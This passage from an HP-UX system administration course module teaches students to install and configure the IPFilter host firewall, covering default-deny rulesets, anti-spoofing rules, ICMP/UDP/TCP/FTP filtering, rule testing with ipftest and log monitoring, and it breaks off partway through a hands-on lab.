# swinstall –s /tmp/B9901AA.depot –x autoreboot=true B9901AA

Verify that IPFilter is configured to restart after every reboot.

# vi /etc/rc.config.d/ipfconf
IPF_START=1
# /sbin/init.d/ipf start

Verify that the IPFilter drivers are loaded in the kernel.

# kmadmin -s | grep pf
pfil 2 LOADED STREAMS
ipf 3 LOADED WSIO

Student Notes
IPFilter isn’t currently included in the HP-UX 11i Operating Environments; it must be
downloaded and installed from http://software.hp.com.

# cd /tmp
# netscape http://software.hp.com
# swinstall –s /tmp/B9901AA.depot –x autoreboot=true B9901AA

After you install the software, verify that the product is configured to start automatically at
boot time. The IPF_START variable should be set equal to one.

# vi /etc/rc.config.d/ipfconf
IPF_START=1
# /sbin/init.d/ipfboot start

http://education.hp.com 18-13 H3541S D.02

 2004 Hewlett-Packard Development Company, L.P.
Module 18
Solution: Configuring a System Firewall with IPFilter

IPFilter requires two DLKM modules. Verify that both DLKM modules are loaded in the
kernel.

# kmadmin -s | grep pf
pfil 2 LOADED STREAMS
ipf 3 LOADED WSIO

H3541S D.02 18-14 http://education.hp.com

 2004 Hewlett-Packard Development Company, L.P.
 Module 18
Solution: Configuring a System Firewall with IPFilter

18–8. SLIDE: Managing IPFilter Rulesets

Managing IPFilter Rulesets

IPFilter rulesets determine which packets will be passed/blocked through the firewall.

View the current IPFilter ruleset.

# ipfstat –io
pass in from any to any
pass out from any to any

Flush all current rules (Return to defaults).

# ipf –Fa

Flush all current rules and reload from /etc/ipf.conf.

# ipf –Fa –f /etc/ipf.conf

Download, edit, flush, and reload the current ruleset.

# ipfstat –io > /tmp/ipf.conf

# vi ruleset
# ipf –Fa –f /tmp/ipf.conf

Student Notes
IPFilter uses rulesets to determine which packets should be allowed in and out of your host.
The active ruleset is stored in memory, and may be viewed via ipfstat –io. The –i
option lists rules that apply to inbound packets, and the –o option lists rules that apply to
outbound packets. The default ruleset permits all packets to pass both in and out.

# ipfstat –io
pass in from any to any
pass out from any to any

To flush all rules from memory and return to the IPFilter defaults, type ipf –Fa.

# ipf –Fa

Add the –f option if you want to flush the current rulesets from memory, and upload your
own rulesets from any text file. If you store your rulesets in /etc/ipf.conf, IPFilter will
load your ruleset automatically at boot time.

# ipf –Fa –f /etc/ipf.conf

http://education.hp.com 18-15 H3541S D.02

 2004 Hewlett-Packard Development Company, L.P.
Module 18
Solution: Configuring a System Firewall with IPFilter

If you want to edit the currently active ruleset, dump it to a file, edit the file, flush, and reload.

# ipfstat –io > /etc/ipf.conf

# vi ruleset
# ipf –Fa –f /etc/ipf.conf

H3541S D.02 18-16 http://education.hp.com

 2004 Hewlett-Packard Development Company, L.P.
 Module 18
Solution: Configuring a System Firewall with IPFilter

18–9. SLIDE: Configuring a Default Deny Policy

Configuring a Default Deny Policy

Recommendation: Block and log all traffic, then selectively re-enable desired services.

# vi /etc/ipf.conf
block in log from any to any
block out log from any to any
(rules to allow desired services go here…)

Be sure to reload the modified ruleset when finished!

# ipf –Fa –f /etc/ipf.conf

The last rule that matches a packet determines whether the packet is blocked or passed.

Foiled! Because my target used a default deny

policy, I can’t access any vulnerable services!

Student Notes
The default IPFilter ruleset provides very little security: it permits all packets to pass both in
and out of the firewall protected host. This is known as a “default allow” firewall policy.

# ipfstat –io
pass in from any to any
pass out from any to any

Many administrators prefer to start with a much more restrictive “default deny” policy that
blocks every packet passing in and/or out from your host. Be sure to flush and reload your
rulesets after modifying the ruleset file.

# vi /etc/ipf.conf
block in log from any to any
block out log from any to any
# ipf –Fa –f /etc/ipf.conf

After defining this default deny policy at the top of your ruleset, you can append additional
lines in the file to allow selected services as necessary.

http://education.hp.com 18-17 H3541S D.02

 2004 Hewlett-Packard Development Company, L.P.
Module 18
Solution: Configuring a System Firewall with IPFilter

IPFilter Ruleset Processing

IPFilter processes rulesets in order from top to bottom, even after a matching rule is found.
Unless the flow is interrupted, IPFilter goes through the entire ruleset, ultimately making its
decision whether or not to pass or drop a packet based on the last matching rule.

Thus, in the ruleset below, IPFilter will pass in all packets.

block in from any to any

pass in from any to any

On the other hand, if the lines were reversed, IPFilter would block all incoming packets.

pass in from any to any

block in from any to any

H3541S D.02 18-18 http://education.hp.com

 2004 Hewlett-Packard Development Company, L.P.
 Module 18
Solution: Configuring a System Firewall with IPFilter

18–10. SLIDE: Preventing IP Spoofing

Preventing IP Spoofing

Don’t allow packets to/from non-routable addresses through your external interface.

block in log quick on lan0 from 192.168.0.0/16 to any

block in log quick on lan0 from 172.16.0.0/12 to any
block in log quick on lan0 from 10.0.0.0/8 to any
block out log quick on lan0 from any to 192.168.0.0/16
block out log quick on lan0 from any to 172.16.0.0/12
block out log quick on lan0 from any to 10.0.0.0/8

I’ll send a spoof packet to my target’s external interface that appears

to come from a host on the internal network.

From: 10.1.1.1 (Spoof)

lan0 lan1
external network internal 10.x.x.x network

Student Notes
HP-UX systems frequently have multiple network interface cards, each connected to a
separate network. Every packet you receive comes from a network interface; every packet
you transmit goes out a network interface. IPFilter can prevent or allow some or all packets
from coming in or going out on any given interface.

This feature can be used to minimize the possibility of IP spoofing. Consider the example on
the slide. The server at the bottom of the slide has two LAN interfaces. The lan0 interface
connects to an external network, while the lan1 interface connects to the internal 10.0.0.0/8
network.

Since 10.0.0.0/8 is a non-routable network address, 10.0.0.0/8 should never be used as a

source or destination address on the external network. Thus, any packet that goes in or out
of the lan0 interface with a 10.0.0.0/8 source or destination address is suspect, and should be
blocked. The other two non-routable address blocks should be similarly blocked on lan0.

http://education.hp.com 18-19 H3541S D.02

 2004 Hewlett-Packard Development Company, L.P.
Module 18
Solution: Configuring a System Firewall with IPFilter

Add the following size lines to your ruleset to accomplish this:

block in log quick on lan0 from 192.168.0.0/16 to any

block in log quick on lan0 from 172.16.0.0/12 to any
block in log quick on lan0 from 10.0.0.0/8 to any
block out log quick on lan0 from any to 192.168.0.0/16
block out log quick on lan0 from any to 172.16.0.0/12
block out log quick on lan0 from any to 10.0.0.0/8

The quick Keyword

Note the inclusion of the keyword quick in these examples. By default, IPFilter processes
all rules in the ruleset before determining whether a packet should be passed or blocked.
When a packet matches a rule containing the quick keyword, however, IPFilter stops
processing immediately and takes whatever action the matching rule requires.

The log Keyword

Also note the use of the log keyword. When a packet matches a rule containing the log
keyword, IPFilter writes a log message to the ipmon daemon. By default, ipmon relays the
message to syslogd for inclusion in /var/adm/syslog/syslog.log. You can include
the log keyword in all, none, or some of the rules in your ruleset.

Explanation of the Slide Example

In the example on the slide, if a packet arrives in on lan0 from 192.168.0.0/16, IPFilter
evaluates the first rule, immediately blocks the packet since the first rule provides a quick
match, then logs a message to the ipmon daemon.

H3541S D.02 18-20 http://education.hp.com

 2004 Hewlett-Packard Development Company, L.P.
 Module 18
Solution: Configuring a System Firewall with IPFilter

18–11. SLIDE: Preventing Loopback Spoofing

Preventing Loopback Spoofing

Allow all packets in and out of the loopback interface.

pass in quick on lo0 all
pass out quick on lo0 all

Don’t allow loopback packets in or out of other interfaces.

block in log quick from any to 127.0.0.0/8
block out log quick from 127.0.0.0/8 to any

I’ll send a spoof packet to my target’s external interface that appears

to come from the localhost.

From: 127.0.0.1 (Spoof)

lan0 lo0
external network loopback network

Student Notes
IP address 127.0.0.1 is a special IP address that is used by processes on a system to
communicate with other processes on the same host. Legitimate packets sent to or from the
loopback address always traverse the special lo0 interface rather than the lan0, lan1 or any
other “real” network interface cards. Since critical applications often rely on the loopback
interface, most administrators permit unhindered inbound and outbound traffic via lo0.

pass in quick on lo0 all

pass out quick on lo0 all

Clever hackers sometimes send spoof packets to remote target systems that claim to come
from the loopback addess. These packets should be blocked. Never allow packets to or from
the loopback address via any interface other than lo0.

block in log quick from any to 127.0.0.0/8

block out log quick from 127.0.0.0/8 to any

http://education.hp.com 18-21 H3541S D.02

 2004 Hewlett-Packard Development Company, L.P.
Module 18
Solution: Configuring a System Firewall with IPFilter

18–12. SLIDE: Controlling ICMP Service Access

Controlling ICMP Service Access

Allow outbound ICMP requests (and resulting responses).

pass out quick proto icmp from any to any keep state

Only allow inbound ICMP requests from specified nets or hosts (eg: 10.x.x.x in this case).
pass in quick proto icmp from 10.0.0.0/8 to 10.1.1.1/32 keep state
block in log quick proto icmp from any to any

ICMP echo
10.x.x.x 10.1.1.1
ICMP echo reply

# ping 10.1.1.1

Student Notes
The remaining slides in the chapter discuss several of the most common protocols that
network services use to transmit data, and how IPFilter may be used to block or pass these
protocol packets.

TCP/IP uses the Internet Control Message Protocol (ICMP) to identify and report network
errors and problems. When a destination host is overwhelmed by a flood of incoming
datagrams, the host may return an ICMP “Source Quench” message telling the sender to
temporarily stop sending datagrams. When a destination host is unreachable for some
reason, a router may return an ICMP “Destination Unreachable” message to the sender. If a
host attempts to send a message to an unconfigured port or protocol, the destination host
may return an ICMP “Unreachable Port” or “Unreachable Protocol” message. The well-
known ping and traceroute commands also use the ICMP “Echo” message to test
connectivity to remote hosts.

Unfortunately, hackers have oftentimes exploited the ICMP protocol in the past since it
offers no authentication mechanism. For instance, by sending bogus ICMP “Destination
Unreachable” messages, a hacker may be able to convince a target host that the host’s DNS
server is unreachable. Also, forged ICMP “Redirect” messages can be used to redirect traffic
from a legitimate gateway to a hacker’s rogue gateway.

H3541S D.02 18-22 http://education.hp.com

 2004 Hewlett-Packard Development Company, L.P.
 Module 18
Solution: Configuring a System Firewall with IPFilter

For these reasons, you may wish to block, or at least limit, ICMP traffic through your firewall.
Since it’s generally safe to allow outbound ICMP requests, many administrators include a rule
to allow outbound ICMP requests, but only permit inbound ICMP requests from trusted hosts
and subnets.

pass out quick proto icmp from any to any keep state
pass in quick proto icmp from 10.0.0.0/8 to 10.1.1.1/32 keep state
block in log quick proto icmp from any to any

The proto Keyword

Examples on the previous two slides blocked and passed packets based on source and
destination IP addresses and interface card name.

The sample rules on this slide use the proto keyword to specifically block or pass ICMP
protocol packets, rather than tcp or udp protocol packets.

The keep state Keywords

You may have also noticed the keep state key words on the end of the two pass rules.

Allowing outbound ping requests is a bit more complicated than one might expect. It isn’t
sufficient to simply pass out outbound ICMP echo packets; you must also allow ICMP echo
reply packets from the target to return to your system! Appending the keep state key
words on the end of each pass statement makes this possible.

When a user on your system initiates a ping request, the first rule in the ruleset above passes
the packet out to the destination host, then allows a return response from that host (and only
that host!) any time during the following 60 seconds. After 60 seconds, however, ICMP return
responses will once again be blocked.

http://education.hp.com 18-23 H3541S D.02

 2004 Hewlett-Packard Development Company, L.P.
Module 18
Solution: Configuring a System Firewall with IPFilter

18–13. SLIDE: UDP Concept Review

UDP Concept Review

UDP is a message-based protocol used by DNS, NTP, SNMP, and other services.

Common UDP connection mechanism:

• Client opens an arbitrary port
• Client sends a UDP message to the desired service’s “well-known” port on the server
• Daemon on the server replies back to the client

Client UDP message

DNS
Port#
Port#
50001
UDP response 53

# nslookup anyhost.com

Student Notes
The User Datagram Protocol (UDP) is a message-based protocol used primarily to transmit
short bursts of data, while incurring very little protocol overhead. DNS, NTP, and SNMP are
a few of the common network services that use UDP. In order to control access to these
services, you must first understand how UDP works.

Consider the example on the slide.

• The client (nslookup, in this case) opens an arbitrary port.

• The client sends a UDP message to “well known” port 53 on the DNS server. The Internet
Assigned Numbers Authority (IANA) assigns standardized, “well known” port numbers to
the common network services to make it possible for systems to easily access network
services on other systems. An authoritative list of well-known port numbers is available
at http://www.iana.org/assignments/port-numbers.

• The named DNS daemon on the server sends a reply message back to the client.
Note that UDP is a connectionless, stateless protocol. Since UDP doesn’t implement an
acknowledgement mechanism, or require an initial or closing “handshake” to establish and
close connections, it is able to send small packets of data very efficiently.

H3541S D.02 18-24 http://education.hp.com

 2004 Hewlett-Packard Development Company, L.P.
 Module 18
Solution: Configuring a System Firewall with IPFilter

18–14. SLIDE: Controlling Access to UDP Services

Controlling Access to UDP Services

Consider enabling access to selected UDP services (eg: NTP and DNS in this example).
# Allow outbound NTP requests from 10.1.1.1, and resulting responses
pass out quick proto udp from 10.1.1.1/32 to any port = 123 keep state

# Allow outbound DNS requests from 10.1.1.1, and resulting responses

pass out quick proto udp from 10.1.1.1/32 to any port = 53 keep state

# Allow inbound DNS requests, if 10.1.1.1 is a DNS server

pass in quick proto udp from any to 10.1.1.1/32 port = 53 keep state

Consider disabling all other inbound and outbound UDP requests.

# Block and log all other UDP packets

block in log quick proto udp from any to any
block out log quick proto udp from any to any

Student Notes
You may wish to block inbound and/or outbound access to some or all of the UDP-based
services. The examples below allow access to a few selected services:

# Allow outbound NTP requests from 10.1.1.1, and resulting responses

pass out quick proto udp from 10.1.1.1/32 to any port = 123 keep state

# Allow outbound DNS requests from 10.1.1.1, and resulting responses

pass out quick proto udp from 10.1.1.1/32 to any port = 53 keep state

# Allow inbound DNS requests, if 10.1.1.1 is a DNS server

pass in quick proto udp from any to 10.1.1.1/32 port = 53 keep state

After enabling access to the desired services, you can block and log access to all other UDP
ports via the following rules:

# Block and log all other UDP packets

block in log quick proto udp from any to any
block out log quick proto udp from any to any

http://education.hp.com 18-25 H3541S D.02

 2004 Hewlett-Packard Development Company, L.P.
Module 18
Solution: Configuring a System Firewall with IPFilter

The keep state Keywords

The keep state suffix on the end of each pass statement ensures that if the firewall
permits an outbound UDP query to another host, it will accept an inbound response from that
same host. Even though UDP is a stateless, connectionless protocol, IPFilter is able to
maintain state information to ensure that the destination host’s response is allowed past the
firewall.

When machine A sends a UDP packet to machine B with source port X and destination port
Y, IPFilter will allow a reply from machine B to machine A with source port Y and destination
port X, as long as the reply arrives no more than 60 seconds after the outbound message is
sent. As soon as a reply packet is received, or 60 seconds pass, the state gateway is closed
and new incoming packets are blocked, even if they are from the original destination host.

H3541S D.02 18-26 http://education.hp.com

 2004 Hewlett-Packard Development Company, L.P.
 Module 18
Solution: Configuring a System Firewall with IPFilter

18–15. SLIDE: TCP Concept Review

TCP Concept Review

TCP is a connection-based protocol used by HTTP, SSH, FTP and many other services.

Common TCP mechanism:

• Client uses an arbitrary port to connect to a “well known” server port
• Client and server establish a connection via a SYN/ACK handshake
• Client and server exchange data/ACK packets
• Client and server close the connection via a FIN/ACK handshake

TCP SYN/ACK Handshake

myhost
SSH
Client
Port# TCP DATA/ACK Data Exchange Port#
50001 22
TCP FIN/ACK Handshake

client# ssh server server

Student Notes
The Transmission Control Protocol (TCP) is a connection oriented protocol that is used by
HTTP, SSH, FTP, and many other services that require a reliable mechanism to transport
streams of data across networks. Unlike UDP, TCP establishes and closes each connection
with a “handshake” exchange, and provides an acknowledgement mechanism to ensure that
all packets that are sent are actually received. This handshake/acknowledgement mechanism
results in a more reliable transport mechanism than UDP, but also incurs greater overhead.

The slide depicts a typical TCP connection sequence:

• Client uses an arbitrary port to connect to a “well known” server port

• Client and server establish a connection via a synchronize(SYN)/acknowledgement(ACK)

handshake

• Client and server exchange data/acknowledgement(ACK) packets

• Client and server close a connection via a finish(FIN)/acknowledgement(ACK)

handshake

http://education.hp.com 18-27 H3541S D.02

 2004 Hewlett-Packard Development Company, L.P.
Module 18
Solution: Configuring a System Firewall with IPFilter

18–16. SLIDE: Controlling Access to TCP Services

Controlling Access to TCP Services

Consider enabling access to selected TCP services (eg: HTTP and SSH in this example).
# Allow outbound HTTP requests from 10.1.1.1, and resulting responses
pass out quick proto tcp from 10.1.1.1/32 to any port = 80 …
flags S keep state

# Allow outbound SSH requests from 10.1.1.1, and resulting responses

pass out quick proto tcp from 10.1.1.1/32 to any port = 22 …
flags S keep state

# Allow inbound SSH requests

pass in quick proto tcp from any to 10.1.1.1/32 port = 22 …
flags S keep state

Consider disabling all other inbound and outbound TCP requests.

# Block and log all other TCP packets

block in log quick proto tcp from any to any
block out log quick proto tcp from any to any

Student Notes
The examples below demonstrate how IPFilter may be used to block or pass TCP packets.

This block of lines allows outbound HTTP requests, and inbound and outbound SSH requests.

# Allow outbound HTTP requests from 10.1.1.1, and resulting

responses
pass out quick proto tcp from 10.1.1.1/32 to any port = 80 …
flags S keep state

# Allow outbound SSH requests from 10.1.1.1, and resulting responses

pass out quick proto tcp from 10.1.1.1/32 to any port = 22 …
flags S keep state

# Allow inbound SSH requests

pass in quick proto tcp from any to 10.1.1.1/32 port = 22 …
flags S keep state

H3541S D.02 18-28 http://education.hp.com

 2004 Hewlett-Packard Development Company, L.P.
 Module 18
Solution: Configuring a System Firewall with IPFilter

These lines block all other TCP packets.

# Block all other TCP packets

block in log quick proto tcp from any to any
block out log quick proto tcp from any to any

The keep state Keywords

Recall from the previous slide that all TCP/IP sessions have a start (indicated by a SYN flag),
a middle, and an end (indicated by a FIN flag). You cannot have an end without a middle and
you cannot have a middle without a beginning. So, all you need to filter on is the beginning of
the TCP session. If the beginning of the session is allowed by your firewall rules, you want
the middle and end to be allowed too. Keeping state will ignore the middle and the end of
TCP/IP sessions and focus on blocking/passing new sessions. If a new TCP/IP session is
passed, all subsequent packets associated with the connection will be allowed through, too. If
it’s blocked, none of the subsequent packets will be allowed through.

The keep state keywords make this possible.

The flags S keywords

In addition to the keep state keywords, the TCP examples on the slide also include the
flags S key word. Some hacker attacks involve sending TCP FIN or XMAS flag packets to
a target system, without first opening a proper connection with a SYN flag. The flags S
keyword ensures that your firewall only accepts TCP connections that are properly opened
with a SYN flag.

http://education.hp.com 18-29 H3541S D.02

 2004 Hewlett-Packard Development Company, L.P.
Module 18
Solution: Configuring a System Firewall with IPFilter

18–17. SLIDE: Controlling Access via Active FTP

Controlling Access via Active FTP

Consider enabling “active” FTP access to/from your host.

pass in quick proto tcp from any port > 1023 to 10.1.1.1/32 port = 21 …
flags S keep state # server control port
pass out quick proto tcp from 10.1.1.1/32 port = 20 to any port > 1023…
flags S keep state # server data port
pass out quick proto tcp from 10.1.1.1/32 port > 1023 to any port = 21 …
flags S keep state # client control port
pass in quick proto tcp from any port = 20 to 10.1.1.1/32 port > 1023 …
flags S keep state # client data port

Control Control
FTP Control Connection (via TCP)
Port# Port#
50001 21

Data Data
Port# FTP Data Connection (via TCP) Port#
50002 20

client# ftp server server

Student Notes
Controlling access to the FTP service is more challenging than controlling access to other
TCP services since an FTP session involves two separate connections:
• The control connection is established in normal client-server fashion. The server “listens”
on port 21 and waits for client connections. The client opens an arbitrary port > 1023 to
the server’s port 21. This connection is then used by the client to send commands and
receive replies from the server. This connection lasts throughout the duration of the FTP
session.

• A separate connection is used to transfer data between the client and server. A new data
connection is opened for each command. FTP supports two different FTP data
connection types: active and passive.

By default, the HP-UX ftp command uses active FTP.

H3541S D.02 18-30 http://education.hp.com

 2004 Hewlett-Packard Development Company, L.P.
 Module 18
Solution: Configuring a System Firewall with IPFilter

In an active FTP session, the client makes an active open to the FTP server at port 21. It uses
a port number > 1023 as the control port. The client then opens a new port as its data port
and sends this port number across to the server using the PORT command. The server then
initiates a data connection to the data port specified in the client’s PORT command. The
server uses port 20 as its data connection port.

The following rules allow inbound active FTP access:

pass in quick proto tcp from any port > 1023 to 10.1.1.1/32 port = 21 …
flags S keep state # server control port
pass out quick proto tcp from 10.1.1.1/32 port = 20 to any port > 1023…
flags S keep state # server data port

The following rules allow outbound active FTP access, too:

pass out quick proto tcp from 10.1.1.1/32 port > 1023 to any port = 21 …
flags S keep state # client control port
pass in quick proto tcp from any port = 20 to 10.1.1.1/32 port > 1023 …
flags S keep state # client data port

http://education.hp.com 18-31 H3541S D.02

 2004 Hewlett-Packard Development Company, L.P.
Module 18
Solution: Configuring a System Firewall with IPFilter

18–18. SLIDE: Controlling Access via Passive FTP

Controlling Access via Passive FTP

Consider enabling “passive” FTP access to/from your host, too.

pass in quick proto tcp from any port > 1023 to 10.1.1.1/32 port = 21 …
flags S keep state # server control port
pass in quick proto tcp from any port > 1023 to 10.1.1.1/32 port 15000 >< 15500 …
flags S keep state # server data por
pass out quick proto tcp from 10.1.1.1/32 port > 1023 to any port = 21 …
flags S keep state # client control port
pass out quick proto tcp from 10.1.1.1/32 port > 1023 to any port > 1023 …
flags S keep state # client data port

Be sure to configure the WU-FTP “passive port” feature in /etc/ftpd/ftpaccess!

Control Control
FTP Control Connection (via TCP)
Port# Port#
50001 21

Data Data
Port# FTP Data Connection (via TCP) Port#
50002 50003

client# ftp server

Student Notes
In passive FTP, the initial control connection is established using exactly the same process
that was described in the active FTP discussion on the previous page. The data connection,
however, is handled differently. The server opens an arbitrary port (>1023) as its data port
and sends this port number to the client via the PASV FTP command. The client then
connects to the port specified in the PASV command. The client itself uses another port >
1023 as its data port.

The HP-UX ftp client defaults to active mode. However, you can toggle passive mode on
and off via the passive command:

ftp> passive
Passive mode on.
ftp> passive
Passive mode off.

H3541S D.02 18-32 http://education.hp.com

 2004 Hewlett-Packard Development Company, L.P.
 Module 18
Solution: Configuring a System Firewall with IPFilter

When browsing anonymous FTP sites, web browsers typically use passive mode FTP, so you
need to understand how to enable and disable both FTP connection types. The problem with
passive connections is that for every data connection, the server opens a new arbitrary data
port which must be accessible to the client. If you are using a default-deny policy, you must
either (a) disable FTP entirely, (b) open all ports greater than 1023 (not a good idea), or (c)
somehow limit the list of data ports that your server uses to service passive FTP users.

Fortunately, HP’s WU-FTP server (bundle WU-FTP-261, available from

http://software.hp.com) allows the administrator to specify which ports should be
used for passive sessions. The sample lines below in /etc/ftpd/ftpaccess ensure that
the FTP daemon only uses ports 15001 through 15500 as passive ports for incoming
connections.

# vi /etc/ftpd/ftpaccess
…
passive ports 15001 15500
…

Remember that ftpd will only consult ftpaccess if you add a –a option to the ftpd line in
/etc/inetd.conf. You also must define class entries in the ftpaccess file. Refer to
the ftpaccess(4) man page, or the Internet Services chapter elsewhere in the course for
details.

After you configure the ftpaccess, you can create the associated IPFilter rules. The
following rules allow inbound passive FTP access using passive data ports 15001-15500:

pass in quick proto tcp from any port > 1023 to 10.1.1.1/32 …
port = 21 flags S keep state # server control port
pass in quick proto tcp from any port > 1023 to 10.1.1.1/32 …
port 15000 >< 15500 flags S keep state # server data port

The following rules allow outbound passive FTP access, too:

pass out quick proto tcp from 10.1.1.1/32 port > 1023 to any …
port = 21 flags S keep state # client control port
pass out quick proto tcp from 10.1.1.1/32 port > 1023 to any …
port > 1023 flags S keep state # client data port

http://education.hp.com 18-33 H3541S D.02

 2004 Hewlett-Packard Development Company, L.P.
Module 18
Solution: Configuring a System Firewall with IPFilter

18–19. SLIDE: Testing IPFilter Rulesets

Testing IPFilter Rulesets

Configure a ruleset file as described on preceding slides.

# vi /tmp/ipf.conf
pass out quick proto tcp from any to any port = 22 flags S keep state
block in log from any to any
block out log from any to any

Create a test packet file that you would like to test.

# vi /tmp/ipf.test
in on lan0 tcp 15.1.1.1,50001 10.1.1.1,22 S
out on lan0 tcp 10.1.1.1,50001 15.1.1.1,22 S

Run the test and verify the results!

# ipftest -r /tmp/ipf.conf -i /tmp/ipf.test
opening rule file "/tmp/ipf.conf"
input: in on lan0 tcp 15.1.1.1,50001 10.1.1.1,22 S
block ip 40(20) 6 15.1.1.1,50001 > 10.1.1.1,22
--------------
input: out on lan0 tcp 10.1.1.1,50001 15.1.1.1,22 S
pass ip 40(20) 6 10.1.1.1,50001 > 15.1.1.1,22
--------------

Student Notes
After you configure your IPFilter rulesets, the ipftest program tool can help you test your
configuration. IPFilter applies a ruleset file (typically /etc/ipf.conf) to a sequence of
user-specified, simulated network packets. ipftest reports which simulated packets would
be passed through the firewall, and which packets would be blocked. Thus, ipftest makes
it possible to test a new ruleset:

(a) before uploading the ruleset to your production firewall, and

(b) without requiring dozens of test client systems to generate test traffic

First, create a ruleset file, similar to the rulesets described on the preceding slides. You can
use /etc/ipf.conf, or, an alternate file such as /tmp/ipf.conf.

# vi /tmp/ipf.conf
pass out quick proto tcp from any to any port = 22 flags S keep state
block in log from any to any
block out log from any to any

H3541S D.02 18-34 http://education.hp.com

 2004 Hewlett-Packard Development Company, L.P.
 Module 18
Solution: Configuring a System Firewall with IPFilter

Next, create file containing a list of simulated packets for your firewall to analyze. The first
line in the file below generates an “in”bound TCP SYN packet on lan0 coming from IP 15.1.1.1
port 50001, destined for IP 10.1.1.1 port 22. The second line generates a TCP SYN packet on
lan0 from IP 10.1.1.1 port 50001, destined for IP 15.1.1.1 port 22. Note that you can also use
packet dump files from tcpdump and other utilities as input files. See the ipftest man
page for details.

# vi /tmp/ipf.test
in on lan0 tcp 15.1.1.1,50001 10.1.1.1,22 S
out on lan0 tcp 10.1.1.1,50001 15.1.1.1,22 S

Finally, run ipftest. The –r option identifies the ruleset file, and the –i option identifies
the input file. In this example, it appears as if the first test packet will be blocked, but the
second packet will pass through the firewall.

# ipftest -r /tmp/ipf.conf -i /tmp/ipf.test

opening rule file "/tmp/ipf.conf"
input: in on lan0 tcp 15.1.1.1,50001 10.1.1.1,22 S
block ip 40(20) 6 15.1.1.1,50001 > 10.1.1.1,22
--------------
input: out on lan0 tcp 10.1.1.1,50001 15.1.1.1,22 S
pass ip 40(20) 6 10.1.1.1,50001 > 15.1.1.1,22

http://education.hp.com 18-35 H3541S D.02

 2004 Hewlett-Packard Development Company, L.P.
Module 18
Solution: Configuring a System Firewall with IPFilter

18–20. SLIDE: Monitoring IPFilter

Monitoring IPFilter

Use ipfstat -ion to view the current ruleset, including rule numbers.
# ipfstat –ion
@1 pass in from any to any
@2 pass out from any to any

Use ipfstat -ioh to view the current IPFilter ruleset, including “hit counts.”
# ipfstat –ioh
12248 pass in from any to any
1462 pass out from any to any

Use ipmon –o I to view realtime log messages from IPFilter.

# ipmon –o I
18/06/2003 lan0 @0:15 b 156.152.82.81,2367 -> 156.152.82.82,63166
18/06/2003 lan0 @0:10 b 156.152.83.5,137 -> 156.152.83.255,137
18/06/2003 lan0 @0:10 b 156.152.81.65,138 -> 156.152.83.255,138

You can also enable ipmon logging to /var/adm/syslog/syslog.log.

# vi /etc/rc.config.d/ipfconf
IPMON_START=1

Student Notes
After you configure your rulesets, several commands may be used to monitor IPFilter.

Use ipfstat –ion to view the active inbound (i) and outbound (o) rules, preceded by the
rule numbers (n).

# ipfstat –ion
@1 pass in from any to any
@2 pass out from any to any

You can also view “hit counts” (h) for each rule via ipstat –ioh

# ipfstat –ioh
12248 pass in from any to any
1462 pass out from any to any

H3541S D.02 18-36 http://education.hp.com

 2004 Hewlett-Packard Development Company, L.P.
 Module 18
Solution: Configuring a System Firewall with IPFilter

If you included the log keyword in your rules, packets that match the logged rule may be
viewed in real time via the ipmon –o I command (the output here has been truncated
slightly to fit on the page). ipmon has many other log viewing options, too, for viewing the
state table (-o S) and other information. See the man page for details.

# ipmon –o I
18/06/2003 lan0 @0:15 b 156.152.82.81,2367 -> 156.152.82.82,63166
18/06/2003 lan0 @0:10 b 156.152.83.5,137 -> 156.152.83.255,137
18/06/2003 lan0 @0:10 b 156.152.81.65,138 -> 156.152.83.255,138

If you want a more permanent record of logged packets, enable ipmon logging to
/var/adm/syslog/syslog.log. If you enable this feature, monitor the /var file system
carefully since ipmon can easily generate 100MB or more of log information on a daily basis!

# vi /etc/rc.config.d/ipfconf
IPMON_START=1

http://education.hp.com 18-37 H3541S D.02

 2004 Hewlett-Packard Development Company, L.P.
Module 18
Solution: Configuring a System Firewall with IPFilter

18–21. LAB: Configuring an IPFilter System Firewall

Directions
Follow the instructions below carefully.

Part I: Preliminary Steps

This lab walks you through the process required to configure an IPFilter system firewall. You
will configure an IPFilter system firewall on your system, and test your configuration from
the instructor’s host. Record your IP address and the instructor’s IP Address below:
Your Firewall IP: _______________
Instructor IP: _______________
1. If you are accessing your student workstation remotely, make sure you are logged onto
the system console or the GSP/MP console, as we will be disabling inbound telnet and
other remote login services during the course of the lab.

2. The lab exercise assumes that you only have one LAN interface, lan0. If you have
multiple LAN interfaces, use the ifconfig command to disable all interfaces except the
interface whose IP you recorded above. If the remaining interface is lan1, or some other
interface, use your interface name rather than lan0 throughout the remainder of the lab.

# ifconfig lan1 down

3. Run the /labs/scripts/firewall script to configure DNS, NTP, and Apache for use
later in the lab. Verify that your instructor ran this script on the instructor station, too.

# /labs/scripts/firewall

4. Verify that your sshd daemon is running.

# /opt/ssh/sbin/sshd

Part II: Installing IPFilter

1. Verify that your firewall system has the IPFilter product installed. If not, the software can
be downloaded from http://software.hp.com.

firewall# swlist B9901AA

2. Verify that the IPFilter drivers are loaded in the kernel.

# kmadmin -s | grep pf
pfil 2 LOADED STREAMS
ipf 3 LOADED WSIO

H3541S D.02 18-38 http://education.hp.com

 2004 Hewlett-Packard Development Company, L.P.
 Module 18
Solution: Configuring a System Firewall with IPFilter

3. Verify that IPFilter is enabled and running. Also verify that ipmon logging is enabled.

firewall# vi /etc/rc.config.d/ipfconf
IPF_START=1
IPMON_START=1
firewall# /sbin/init.d/ipfboot start

4. Flush all IPFilter rulesets (if any) from memory and purge the /etc/ipf.conf file.

firewall# ipf –Fa

firewall# > /etc/ipf.conf

Part III: Configuring IPFilter

Now that you have the software installed, configure a ruleset for your firewall! Be sure to
flush and reload the ruleset from /etc/ipf.conf after each question so you can verify your
file syntax.

NOTE: The order of the rules in the /etc/ipf.conf file is significant. For the
remainder of the lab, unless the instructions suggest otherwise, each rule
should be appended to the end of /etc/ipf.conf.

Also note that some of the rules in this exercise were too long to fit on a single
line. The lab uses “...” to indicate line continuation. However, the dots should
not be included in the /etc/ipf.conf file.

1. In order to ensure maximum protection, it is wise to use a “default deny” policy that
blocks all packets, then selectively enables the services you wish to allow. Configure a
default deny policy to block all incoming and outgoing packets.

firewall# vi /etc/ipf.conf
block in log from any to any
block out log from any to any
firewall# ipf –Fa –f /etc/ipf.conf

2. There are three blocks of “non-routable” IP addresses that should only be used on
internal networks. If an interface card connected to the public Internet receives a packet
that claims to come from an IP address in these non-routable ranges, and you don’t use
non-routable addresses on your Intranet, the packet may be a spoof. Add appropriate
rules to your ipf.conf file to explicitly block inbound packets to these IPs (if your
classroom network uses one or more of these unroutable addresses, skip this question).

firewall# vi /etc/ipf.conf
